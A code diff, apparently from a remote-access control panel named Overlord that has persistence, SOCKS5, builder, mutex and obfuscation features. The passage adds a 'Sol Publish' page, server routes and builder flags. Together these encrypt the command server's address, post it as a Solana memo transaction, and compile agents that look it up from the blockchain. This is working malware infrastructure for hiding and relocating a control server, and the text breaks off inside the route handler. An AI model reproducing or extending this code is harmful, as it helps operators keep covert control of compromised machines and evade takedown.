@@ -213,6 +230,37 @@ if (rawServerListCheckbox && serverUrlInput) {
|
||||
});
|
||||
}
|
||||
|
||||
if (solMemoCheckbox && solSettings) {
|
||||
solMemoCheckbox.addEventListener("change", () => {
|
||||
const isSol = solMemoCheckbox.checked;
|
||||
solSettings.classList.toggle("hidden", !isSol);
|
||||
|
||||
if (isSol && rawServerListCheckbox) {
|
||||
rawServerListCheckbox.checked = false;
|
||||
if (serverUrlInput) {
|
||||
serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(false);
|
||||
}
|
||||
}
|
||||
|
||||
if (isSol) {
|
||||
const rpcField = document.getElementById("sol-rpc-endpoints");
|
||||
if (rpcField && !rpcField.value.trim()) {
|
||||
rpcField.value = [
|
||||
"https://api.mainnet-beta.solana.com",
|
||||
"https://solana-mainnet.gateway.tatum.io",
|
||||
"https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
|
||||
"https://solana-rpc.publicnode.com",
|
||||
"https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
|
||||
"https://solana.drpc.org",
|
||||
"https://solana.leorpc.com/?api_key=FREE",
|
||||
"https://solana.api.onfinality.io/public",
|
||||
"https://solana.api.pocket.network/",
|
||||
].join("\n");
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
|
||||
const persistenceMethodContainer = document.getElementById("persistence-method-container");
|
||||
const persistenceEmptyState = document.getElementById("persistence-empty-state");
|
||||
@@ -923,6 +971,9 @@ form?.addEventListener("submit", async (e) => {
|
||||
platforms,
|
||||
serverUrl: serverUrl || undefined,
|
||||
rawServerList,
|
||||
solMemo: document.getElementById("sol-memo")?.checked || false,
|
||||
solAddress: document.getElementById("sol-address")?.value.trim() || undefined,
|
||||
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value.trim() || undefined,
|
||||
mutex: disableMutex ? "" : mutex || undefined,
|
||||
disableMutex,
|
||||
stripDebug,
|
||||
|
||||
@@ -26,6 +26,7 @@ if (host) {
|
||||
"/socks5-manager": "socks5-link",
|
||||
"/plugins": "plugins-link",
|
||||
"/build": "build-link",
|
||||
"/sol-publish": "sol-publish-link",
|
||||
"/users": "users-link",
|
||||
"/user-client-access": "users-link",
|
||||
"/notifications": "notifications-link",
|
||||
|
||||
@@ -4,6 +4,7 @@ export function applyUserRoleUI(user, refs) {
|
||||
roleBadge,
|
||||
usersLink,
|
||||
buildLink,
|
||||
solPublishLink,
|
||||
pluginsLink,
|
||||
scriptsLink,
|
||||
logsLink,
|
||||
@@ -67,6 +68,7 @@ export function applyUserRoleUI(user, refs) {
|
||||
usersLink?.classList.remove("hidden");
|
||||
pluginsLink?.classList.remove("hidden");
|
||||
logsLink?.classList.remove("hidden");
|
||||
solPublishLink?.classList.remove("hidden");
|
||||
}
|
||||
if (user.role === "admin" || user.role === "operator") {
|
||||
buildLink?.classList.remove("hidden");
|
||||
|
||||
@@ -65,6 +65,12 @@ export function mountNav(host) {
|
||||
class="hidden inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
|
||||
><i class="fa-solid fa-hammer text-orange-400"></i> Builder</a
|
||||
>
|
||||
<a
|
||||
href="/sol-publish"
|
||||
id="sol-publish-link"
|
||||
class="hidden inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
|
||||
><i class="fa-solid fa-link-slash text-purple-400"></i> Sol Publish</a
|
||||
>
|
||||
<a
|
||||
href="/notifications"
|
||||
id="notifications-link"
|
||||
@@ -137,6 +143,7 @@ export function mountNav(host) {
|
||||
roleBadge: document.getElementById("role-badge"),
|
||||
usersLink: document.getElementById("users-link"),
|
||||
buildLink: document.getElementById("build-link"),
|
||||
solPublishLink: document.getElementById("sol-publish-link"),
|
||||
pluginsLink: document.getElementById("plugins-link"),
|
||||
scriptsLink: document.getElementById("scripts-link"),
|
||||
logsLink: document.getElementById("logs-link"),
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
const rpcSelect = document.getElementById("rpc-url");
|
||||
const customRpcWrapper = document.getElementById("custom-rpc-wrapper");
|
||||
const customRpcInput = document.getElementById("custom-rpc-url");
|
||||
const privateKeyInput = document.getElementById("private-key");
|
||||
const toggleKeyBtn = document.getElementById("toggle-key-visibility");
|
||||
const serverUrlInput = document.getElementById("server-url");
|
||||
const previewBtn = document.getElementById("preview-btn");
|
||||
const publishBtn = document.getElementById("publish-btn");
|
||||
const outputSection = document.getElementById("output-section");
|
||||
const outputDiv = document.getElementById("output");
|
||||
const walletInfo = document.getElementById("wallet-info");
|
||||
const walletAddress = document.getElementById("wallet-address");
|
||||
const walletBalance = document.getElementById("wallet-balance");
|
||||
|
||||
async function loadRpcEndpoints() {
|
||||
try {
|
||||
const res = await fetch("/api/sol/rpc-endpoints", { credentials: "include" });
|
||||
if (res.ok) {
|
||||
const data = await res.json();
|
||||
if (Array.isArray(data.endpoints)) {
|
||||
data.endpoints.forEach((ep) => {
|
||||
const opt = document.createElement("option");
|
||||
opt.value = ep;
|
||||
opt.textContent = ep;
|
||||
rpcSelect.appendChild(opt);
|
||||
});
|
||||
}
|
||||
}
|
||||
} catch {}
|
||||
|
||||
const customOpt = document.createElement("option");
|
||||
customOpt.value = "__custom__";
|
||||
customOpt.textContent = "Custom RPC endpoint...";
|
||||
rpcSelect.appendChild(customOpt);
|
||||
}
|
||||
|
||||
loadRpcEndpoints();
|
||||
|
||||
rpcSelect.addEventListener("change", () => {
|
||||
customRpcWrapper.classList.toggle("hidden", rpcSelect.value !== "__custom__");
|
||||
});
|
||||
|
||||
function getSelectedRpc() {
|
||||
if (rpcSelect.value === "__custom__") {
|
||||
return customRpcInput.value.trim();
|
||||
}
|
||||
return rpcSelect.value;
|
||||
}
|
||||
|
||||
const isHttps = window.location.protocol === "https:";
|
||||
const host = window.location.host;
|
||||
serverUrlInput.value = `${isHttps ? "wss" : "ws"}://${host}`;
|
||||
|
||||
let keyVisible = false;
|
||||
toggleKeyBtn.addEventListener("click", () => {
|
||||
keyVisible = !keyVisible;
|
||||
privateKeyInput.type = keyVisible ? "text" : "password";
|
||||
toggleKeyBtn.innerHTML = keyVisible
|
||||
? '<i class="fa-solid fa-eye-slash"></i> Hide'
|
||||
: '<i class="fa-solid fa-eye"></i> Show';
|
||||
});
|
||||
|
||||
let balanceTimeout = null;
|
||||
privateKeyInput.addEventListener("input", () => {
|
||||
clearTimeout(balanceTimeout);
|
||||
balanceTimeout = setTimeout(checkWalletBalance, 800);
|
||||
});
|
||||
|
||||
async function checkWalletBalance() {
|
||||
const key = privateKeyInput.value.trim();
|
||||
if (!key || key.length < 32) {
|
||||
walletInfo.classList.add("hidden");
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const rpc = getSelectedRpc();
|
||||
const res = await fetch("/api/sol/balance", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
credentials: "include",
|
||||
body: JSON.stringify({ publicKeyBase58: key, rpcUrl: rpc }),
|
||||
});
|
||||
walletInfo.classList.add("hidden");
|
||||
} catch {
|
||||
walletInfo.classList.add("hidden");
|
||||
}
|
||||
}
|
||||
|
||||
function showOutput(text, isError = false) {
|
||||
outputSection.classList.remove("hidden");
|
||||
outputDiv.textContent = text;
|
||||
outputDiv.className = `p-3 bg-slate-800/60 border rounded-lg text-sm font-mono break-all whitespace-pre-wrap max-h-64 overflow-y-auto ${
|
||||
isError ? "border-red-700/60 text-red-300" : "border-slate-700 text-slate-200"
|
||||
}`;
|
||||
}
|
||||
|
||||
previewBtn.addEventListener("click", async () => {
|
||||
const serverUrl = serverUrlInput.value.trim();
|
||||
if (!serverUrl) {
|
||||
showOutput("Error: Server URL is required", true);
|
||||
return;
|
||||
}
|
||||
|
||||
previewBtn.disabled = true;
|
||||
previewBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Encrypting...';
|
||||
|
||||
try {
|
||||
const res = await fetch("/api/sol/preview", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
credentials: "include",
|
||||
body: JSON.stringify({ serverUrl }),
|
||||
});
|
||||
|
||||
const data = await res.json();
|
||||
if (!res.ok) {
|
||||
showOutput(`Error: ${data.error}`, true);
|
||||
return;
|
||||
}
|
||||
|
||||
showOutput(
|
||||
`Encrypted Memo (${data.memoLength} chars):\n\n${data.memo}\n\nThis is what would be stored in the Solana memo transaction.`
|
||||
);
|
||||
} catch (err) {
|
||||
showOutput(`Error: ${err.message}`, true);
|
||||
} finally {
|
||||
previewBtn.disabled = false;
|
||||
previewBtn.innerHTML = '<i class="fa-solid fa-eye"></i> Preview Memo';
|
||||
}
|
||||
});
|
||||
|
||||
publishBtn.addEventListener("click", async () => {
|
||||
const serverUrl = serverUrlInput.value.trim();
|
||||
const privateKey = privateKeyInput.value.trim();
|
||||
const rpcUrl = getSelectedRpc();
|
||||
|
||||
if (!serverUrl) {
|
||||
showOutput("Error: Server URL is required", true);
|
||||
return;
|
||||
}
|
||||
if (!privateKey) {
|
||||
showOutput("Error: Private key is required", true);
|
||||
return;
|
||||
}
|
||||
if (!rpcUrl) {
|
||||
showOutput("Error: RPC endpoint is required", true);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!confirm(
|
||||
"Publish encrypted server URL to Solana?\n\n" +
|
||||
`Server URL: ${serverUrl}\n` +
|
||||
`RPC: ${rpcUrl}\n\n` +
|
||||
"This will create a transaction costing ~0.000005 SOL."
|
||||
)) {
|
||||
return;
|
||||
}
|
||||
|
||||
publishBtn.disabled = true;
|
||||
publishBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Publishing...';
|
||||
|
||||
try {
|
||||
const res = await fetch("/api/sol/publish", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
credentials: "include",
|
||||
body: JSON.stringify({ serverUrl, privateKeyBase58: privateKey, rpcUrl }),
|
||||
});
|
||||
|
||||
const data = await res.json();
|
||||
if (!res.ok) {
|
||||
showOutput(`Error: ${data.error}`, true);
|
||||
return;
|
||||
}
|
||||
|
||||
showOutput(
|
||||
`Published successfully!\n\n` +
|
||||
`Signature: ${data.signature}\n` +
|
||||
`Address: ${data.address}\n` +
|
||||
`Memo length: ${data.memoLength} chars\n\n` +
|
||||
`Explorer: ${data.explorerUrl}\n\n` +
|
||||
`Clients built with Solana mode and address "${data.address}" will now connect to:\n${serverUrl}`
|
||||
);
|
||||
|
||||
walletInfo.classList.remove("hidden");
|
||||
walletAddress.textContent = `Address: ${data.address}`;
|
||||
} catch (err) {
|
||||
showOutput(`Error: ${err.message}`, true);
|
||||
} finally {
|
||||
publishBtn.disabled = false;
|
||||
publishBtn.innerHTML = '<i class="fa-solid fa-paper-plane"></i> Publish to Solana';
|
||||
}
|
||||
});
|
||||
@@ -159,6 +159,25 @@
|
||||
<p class="text-xs text-slate-500 mt-1">
|
||||
When enabled, the URL above must be a raw HTTPS link with one wss:// endpoint per line.
|
||||
</p>
|
||||
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
|
||||
<input type="checkbox" id="sol-memo" name="sol-memo" class="w-4 h-4" />
|
||||
Use Solana memo lookup (resolve server from blockchain)
|
||||
</label>
|
||||
<div id="sol-settings" class="hidden mt-2 flex flex-col gap-2 pl-6 border-l-2 border-purple-800/50">
|
||||
<div>
|
||||
<label class="block text-xs font-medium text-slate-400 mb-1" for="sol-address">Solana Address (Base58)</label>
|
||||
<input type="text" id="sol-address" name="sol-address" placeholder="YourSolanaWalletAddressHere..."
|
||||
class="w-full px-2 py-1.5 bg-slate-800/60 border border-slate-700 rounded text-sm focus:outline-none focus:border-purple-500 transition-colors font-mono" />
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-xs font-medium text-slate-400 mb-1" for="sol-rpc-endpoints">RPC Endpoints (one per line)</label>
|
||||
<textarea id="sol-rpc-endpoints" name="sol-rpc-endpoints" rows="4" placeholder="https://api.mainnet-beta.solana.com https://solana-rpc.publicnode.com"
|
||||
class="w-full px-2 py-1.5 bg-slate-800/60 border border-slate-700 rounded text-xs focus:outline-none focus:border-purple-500 transition-colors font-mono"></textarea>
|
||||
</div>
|
||||
<p class="text-xs text-slate-500">
|
||||
Client will query these endpoints to find the encrypted server URL from the Solana address's memo transactions.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Solana Memo Publisher - Overlord</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||
crossorigin="anonymous"
|
||||
referrerpolicy="no-referrer"
|
||||
/>
|
||||
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
<link rel="stylesheet" href="/assets/custom.css" />
|
||||
<script src="/assets/toast.js"></script>
|
||||
<script src="/assets/ripple.js"></script>
|
||||
</head>
|
||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
<main class="px-5 py-6">
|
||||
<div class="max-w-3xl mx-auto flex flex-col gap-5">
|
||||
<div>
|
||||
<h1 class="text-2xl font-semibold flex items-center gap-2">
|
||||
<i class="fa-solid fa-link-slash text-purple-400"></i> Solana Memo Publisher
|
||||
</h1>
|
||||
<p class="text-slate-400 mt-1">
|
||||
Publish an encrypted server URL as a Solana memo transaction.
|
||||
Clients configured with Solana lookup will query this address to find the server.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-5 flex flex-col gap-5">
|
||||
|
||||
<!-- RPC Endpoint -->
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-2" for="rpc-url">RPC Endpoint</label>
|
||||
<select id="rpc-url"
|
||||
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-purple-500 transition-colors">
|
||||
</select>
|
||||
<div id="custom-rpc-wrapper" class="hidden mt-2">
|
||||
<input type="text" id="custom-rpc-url" placeholder="https://your-rpc-endpoint.com"
|
||||
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-purple-500 transition-colors" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Private Key -->
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-2" for="private-key">Solana Private Key (Base58)</label>
|
||||
<div class="flex items-center gap-2">
|
||||
<input type="password" id="private-key" placeholder="Enter your Solana wallet private key"
|
||||
class="flex-1 min-w-0 px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-purple-500 transition-colors font-mono text-sm" />
|
||||
<button type="button" id="toggle-key-visibility"
|
||||
class="shrink-0 px-3 py-2 text-xs text-slate-400 hover:text-slate-200 bg-slate-800/60 border border-slate-700 rounded-lg transition-colors">
|
||||
<i class="fa-solid fa-eye"></i> Show
|
||||
</button>
|
||||
</div>
|
||||
<p class="text-xs text-slate-500 mt-1">
|
||||
<i class="fa-solid fa-shield-halved text-amber-400"></i>
|
||||
Your private key is never stored — it's used in-memory only for signing and discarded immediately.
|
||||
</p>
|
||||
<div id="wallet-info" class="hidden mt-2 p-2 bg-slate-800/40 rounded-lg text-xs text-slate-400">
|
||||
<span id="wallet-address"></span>
|
||||
<span id="wallet-balance" class="ml-2"></span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Server URL -->
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-2" for="server-url">Server URL to Publish</label>
|
||||
<input type="text" id="server-url" placeholder="wss://your-server:5173"
|
||||
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-purple-500 transition-colors" />
|
||||
<p class="text-xs text-slate-500 mt-1">
|
||||
The server URL that clients will connect to. Multiple URLs can be separated by newlines.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<!-- Action Buttons -->
|
||||
<div class="flex gap-3 flex-wrap">
|
||||
<button type="button" id="preview-btn"
|
||||
class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-slate-700 hover:bg-slate-600 text-slate-200 border border-slate-600 transition-colors">
|
||||
<i class="fa-solid fa-eye"></i> Preview Memo
|
||||
</button>
|
||||
<button type="button" id="publish-btn"
|
||||
class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-purple-700 hover:bg-purple-600 text-white border border-purple-600 transition-colors">
|
||||
<i class="fa-solid fa-paper-plane"></i> Publish to Solana
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<!-- Output -->
|
||||
<div id="output-section" class="hidden">
|
||||
<label class="block text-sm font-medium text-slate-300 mb-2">Result</label>
|
||||
<div id="output" class="p-3 bg-slate-800/60 border border-slate-700 rounded-lg text-sm font-mono break-all whitespace-pre-wrap max-h-64 overflow-y-auto">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Info -->
|
||||
<div class="bg-slate-900/50 border border-slate-800 rounded-lg p-4 text-sm text-slate-400">
|
||||
<h3 class="text-slate-300 font-medium mb-2"><i class="fa-solid fa-circle-info text-blue-400"></i> How it works</h3>
|
||||
<ul class="list-disc list-inside flex flex-col gap-1">
|
||||
<li>The server URL is encrypted with AES-256-GCM using SHA-256 of your server's Agent Token as the key.</li>
|
||||
<li>The encrypted memo is published as a Solana memo transaction from your wallet.</li>
|
||||
<li>Clients built with Solana mode query your wallet address for the latest memo and decrypt it.</li>
|
||||
<li>Publishing costs approximately 0.000005 SOL (~$0.001).</li>
|
||||
<li>To update the server URL, just publish a new memo — clients always use the newest one.</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script src="/assets/sol-publish.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -38,4 +38,7 @@ export type BuildConfig = {
|
||||
requireAdmin?: boolean;
|
||||
outputExtension?: string;
|
||||
sleepSeconds?: number;
|
||||
solMemo?: boolean;
|
||||
solAddress?: string;
|
||||
solRpcEndpoints?: string;
|
||||
};
|
||||
|
||||
@@ -249,12 +249,12 @@ export function loadConfig(): Config {
|
||||
logger.info("No JWT secret provided, generated secure random secret");
|
||||
}
|
||||
|
||||
const agentTokenFromEnv = process.env.OVERLORD_AGENT_TOKEN;
|
||||
const agentTokenFromConfig = fileConfig.auth?.agentToken;
|
||||
const agentTokenFromEnv = process.env.OVERLORD_AGENT_TOKEN?.trim();
|
||||
const agentTokenFromConfig = fileConfig.auth?.agentToken?.trim();
|
||||
let finalAgentToken =
|
||||
agentTokenFromEnv ||
|
||||
agentTokenFromConfig ||
|
||||
savedSecrets.auth?.agentToken ||
|
||||
savedSecrets.auth?.agentToken?.trim() ||
|
||||
DEFAULT_CONFIG.auth.agentToken;
|
||||
if (!finalAgentToken) {
|
||||
finalAgentToken = generateRandomSecret(64);
|
||||
|
||||
@@ -19,6 +19,7 @@ import { handleAuthRoutes } from "./server/routes/auth-routes";
|
||||
import { handleAutoScriptsRoutes } from "./server/routes/auto-scripts-routes";
|
||||
import { handleEnrollmentRoutes, setPostApproveHook } from "./server/routes/enrollment-routes";
|
||||
import { handleBuildRoutes } from "./server/routes/build-routes";
|
||||
import { handleSolRoutes } from "./server/routes/sol-routes";
|
||||
import { handleAssetsRoutes } from "./server/routes/assets-routes";
|
||||
import { handleDeployRoutes } from "./server/routes/deploy-routes";
|
||||
import { handleWinRERoutes } from "./server/routes/winre-routes";
|
||||
@@ -552,6 +553,7 @@ async function startServer() {
|
||||
handleAutoScriptsRoutes,
|
||||
handleAutoDeployRoutes,
|
||||
handleEnrollmentRoutes,
|
||||
handleSolRoutes,
|
||||
handleUsersRoutes,
|
||||
handleBuildRoutes,
|
||||
handleDeployRoutes,
|
||||
|
||||
@@ -700,6 +700,24 @@ func runBoundFiles() {
|
||||
sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" });
|
||||
}
|
||||
|
||||
if (config.solMemo) {
|
||||
const solFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsSol=true";
|
||||
ldflags = ldflags ? `${ldflags} ${solFlag}` : solFlag;
|
||||
sendToStream({ type: "output", text: "Solana memo lookup: enabled\n", level: "info" });
|
||||
|
||||
if (config.solAddress) {
|
||||
const solAddrFlag = `-X overlord-client/cmd/agent/config.DefaultSolAddress=${config.solAddress}`;
|
||||
ldflags = `${ldflags} ${solAddrFlag}`;
|
||||
sendToStream({ type: "output", text: `Solana address: ${config.solAddress}\n`, level: "info" });
|
||||
}
|
||||
|
||||
if (config.solRpcEndpoints) {
|
||||
const solRpcFlag = `-X overlord-client/cmd/agent/config.DefaultSolRPCEndpoints=${config.solRpcEndpoints}`;
|
||||
ldflags = `${ldflags} ${solRpcFlag}`;
|
||||
sendToStream({ type: "output", text: `Solana RPC endpoints: ${config.solRpcEndpoints}\n`, level: "info" });
|
||||
}
|
||||
}
|
||||
|
||||
if (buildMutex) {
|
||||
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`;
|
||||
ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag;
|
||||
|
||||
@@ -40,6 +40,7 @@ type HttpDispatchDeps<
|
||||
handleAutoScriptsRoutes: RouteHandler;
|
||||
handleAutoDeployRoutes: RouteHandlerWithDeps<TAutoDeploy>;
|
||||
handleEnrollmentRoutes: RouteHandler;
|
||||
handleSolRoutes: RouteHandler;
|
||||
handleUsersRoutes: RouteHandlerWithServer<TServer>;
|
||||
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
|
||||
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
|
||||
@@ -122,6 +123,9 @@ export function createHttpFetchHandler<
|
||||
const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url);
|
||||
if (enrollmentResponse) return enrollmentResponse;
|
||||
|
||||
const solResponse = await deps.handleSolRoutes(req, url);
|
||||
if (solResponse) return solResponse;
|
||||
|
||||
const usersResponse = await deps.handleUsersRoutes(req, url, routeServer);
|
||||
if (usersResponse) return usersResponse;
|
||||
|
||||
|
||||
@@ -49,6 +49,9 @@ export async function handleBuildRoutes(
|
||||
platforms,
|
||||
serverUrl,
|
||||
rawServerList,
|
||||
solMemo,
|
||||
solAddress,
|
||||
solRpcEndpoints,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
@@ -101,10 +104,19 @@ export async function handleBuildRoutes(
|
||||
}
|
||||
|
||||
const safeRawServerList = !!rawServerList;
|
||||
const safeSolMemo = !!solMemo;
|
||||
const safeServerUrl =
|
||||
typeof serverUrl === "string" && serverUrl.trim() !== ""
|
||||
? serverUrl.trim()
|
||||
: undefined;
|
||||
|
||||
if (safeRawServerList && safeSolMemo) {
|
||||
return Response.json(
|
||||
{ error: "Cannot enable both raw server list and Solana memo mode" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
|
||||
if (safeRawServerList) {
|
||||
if (!safeServerUrl) {
|
||||
return Response.json(
|
||||
@@ -125,6 +137,46 @@ export async function handleBuildRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
let safeSolAddress: string | undefined;
|
||||
let safeSolRpcEndpoints: string | undefined;
|
||||
if (safeSolMemo) {
|
||||
if (typeof solAddress !== "string" || !solAddress.trim()) {
|
||||
return Response.json(
|
||||
{ error: "Solana memo mode requires a Solana address" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
const trimmedAddr = solAddress.trim();
|
||||
if (!/^[1-9A-HJ-NP-Za-km-z]{32,44}$/.test(trimmedAddr)) {
|
||||
return Response.json(
|
||||
{ error: "Invalid Solana address (must be Base58, 32-44 chars)" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
safeSolAddress = trimmedAddr;
|
||||
|
||||
if (typeof solRpcEndpoints === "string" && solRpcEndpoints.trim()) {
|
||||
const endpoints = solRpcEndpoints.split("\n").map((e: string) => e.trim()).filter(Boolean);
|
||||
for (const ep of endpoints) {
|
||||
try {
|
||||
const parsed = new URL(ep);
|
||||
if (parsed.protocol !== "https:" && parsed.protocol !== "http:") {
|
||||
return Response.json(
|
||||
{ error: `Invalid RPC endpoint protocol: ${ep}` },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
} catch {
|
||||
return Response.json(
|
||||
{ error: `Invalid RPC endpoint URL: ${ep}` },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
}
|
||||
safeSolRpcEndpoints = endpoints.join(",");
|
||||
}
|
||||
}
|
||||
|
||||
const buildId = uuidv4();
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
|
||||
@@ -233,6 +285,9 @@ export async function handleBuildRoutes(
|
||||
platforms: allowedPlatforms,
|
||||
serverUrl: safeServerUrl,
|
||||
rawServerList: safeRawServerList,
|
||||
solMemo: safeSolMemo,
|
||||
solAddress: safeSolAddress,
|
||||
solRpcEndpoints: safeSolRpcEndpoints,
|
||||
mutex: safeMutex,
|
||||
disableMutex: safeDisableMutex,
|
||||
stripDebug,
|
||||
|
||||
@@ -71,6 +71,7 @@ const STATIC_PAGES: StaticPageDef[] = [
|
||||
{ path: "/users", file: "users.html", access: "admin", checkPasswordChange: true },
|
||||
{ path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true },
|
||||
{ path: "/build", file: "build.html", access: "admin-or-operator" },
|
||||
{ path: "/sol-publish", file: "sol-publish.html", access: "admin" },
|
||||
{ path: "/plugins", file: "plugins.html", access: "admin-or-operator" },
|
||||
{ path: "/scripts", file: "scripts.html", access: "no-viewer" },
|
||||
{ path: "/deploy", file: "deploy.html", access: "admin" },
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
import { createHash, randomBytes, createCipheriv } from "crypto";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { getConfig } from "../../config";
|
||||
import { logger } from "../../logger";
|
||||
import {
|
||||
Connection,
|
||||
Keypair,
|
||||
Transaction,
|
||||
TransactionInstruction,
|
||||
PublicKey,
|
||||
LAMPORTS_PER_SOL,
|
||||
} from "@solana/web3.js";
|
||||
|
||||
const MEMO_PROGRAM_ID = new PublicKey("MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr");
|
||||
|
||||
const BASE58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
|
||||
function decodeBase58(str: string): Uint8Array {
|
||||
const bytes: number[] = [0];
|
||||
for (const char of str) {
|
||||
const idx = BASE58_ALPHABET.indexOf(char);
|
||||
if (idx < 0) throw new Error(`Invalid base58 character: ${char}`);
|
||||
let carry = idx;
|
||||
for (let j = 0; j < bytes.length; j++) {
|
||||
carry += bytes[j] * 58;
|
||||
bytes[j] = carry & 0xff;
|
||||
carry >>= 8;
|
||||
}
|
||||
while (carry > 0) {
|
||||
bytes.push(carry & 0xff);
|
||||
carry >>= 8;
|
||||
}
|
||||
}
|
||||
for (const char of str) {
|
||||
if (char !== '1') break;
|
||||
bytes.push(0);
|
||||
}
|
||||
return new Uint8Array(bytes.reverse());
|
||||
}
|
||||
|
||||
const DEFAULT_RPC_ENDPOINTS = [
|
||||
"https://api.mainnet-beta.solana.com",
|
||||
"https://solana-mainnet.gateway.tatum.io",
|
||||
"https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
|
||||
"https://solana-rpc.publicnode.com",
|
||||
"https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
|
||||
"https://solana.drpc.org",
|
||||
"https://solana.leorpc.com/?api_key=FREE",
|
||||
"https://solana.api.onfinality.io/public",
|
||||
"https://solana.api.pocket.network/",
|
||||
"https://api.devnet.solana.com",
|
||||
];
|
||||
|
||||
function encryptServerUrl(serverUrl: string, agentToken: string): string {
|
||||
const keyHash = createHash("sha256").update(agentToken).digest();
|
||||
const nonce = randomBytes(12);
|
||||
const cipher = createCipheriv("aes-256-gcm", keyHash, nonce);
|
||||
const encrypted = Buffer.concat([cipher.update(serverUrl, "utf8"), cipher.final()]);
|
||||
const tag = cipher.getAuthTag();
|
||||
return Buffer.concat([nonce, encrypted, tag]).toString("base64");
|
||||
}
|
||||
|
||||
export async function handleSolRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/sol")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/sol/preview") {
|
||||
const body = await req.json();
|
||||
const { serverUrl } = body;
|
||||
|
||||
